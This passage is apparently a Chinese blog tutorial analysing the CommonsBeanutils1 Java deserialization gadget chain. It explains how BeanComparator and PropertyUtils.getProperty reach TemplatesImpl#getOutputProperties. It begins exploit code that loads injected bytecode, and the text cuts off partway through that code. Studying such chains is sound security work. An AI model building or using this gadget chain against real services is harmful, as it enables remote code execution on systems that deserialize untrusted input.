Java反序列化（十）CommonsBeanutils分析

Apache Common Beanutils是Apache Common工具集下的另一个项目，提供了一系列对JavaBean的操作方法。什么是JavaBean：什么是JavaBean。

如下Cat就是一个JavaBean。

final public class Cat {
    private String name = "catalina";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty，让使用者可以直接调用任意JavaBean的getter方法。

PropertyUtils.getProperty(new Cat(), "name");

此时PropertyUtils.getProperty会自动调用Cat的getName方法，获取返回值。其实就是会自动调用参数1的getter方法。

其实这个利用链上半段使用的还是PriorityQueue，而PriorityQueue的核心就在于找可以利用的java.util.Comparator对象。

在commons-beanutils包中就存在一个：org.apache.commons.beanutils.BeanComparator。

BeanComparator是用来比较两个JavaBean是否相等的两个类，实现了java.util.Comparator接口。查看一下他的compare方法。

这个方法接收了两个对象，如果this.property属性值为空，则直接比较这两个对象。如果不为空，则使用PropertyUtils.getProperty获取两个对象的this.property的值。然后进行比较。

上面说了PropertyUtils.getProperty这个方法会自动去调用一个JavaBean的getter方法，这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢？

当然是有的，在TemplatesImpl#getOutputProperties()方法中会调用newTransformer方法（后面的利用链就不说了，不明白的去了解一下TemplatesImpl的利用链）。并且是public。支持外部调用。而且getOutputProperties是以get开头的，符合getter的定义。

所以，PropertyUtils.getProperty( o1, property )这段代码，当o1是一个TemplatesImpl对象，而property的值为outputProperties时，将会自动调用getter，也就是TemplatesImpl#getOutputProperties()方法，触发代码执行。

最终代码如下

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {

    public static void main(String[] args) throws Exception {
        // 创建TemplatesImpl。
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(TemplateTest.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // BeanComparator的无参构造函数就会把property设置为null
        final BeanComparator comparator = new BeanComparator();
        // 将comparator传给PriorityQueue。初始化容量为2
        final PriorityQueue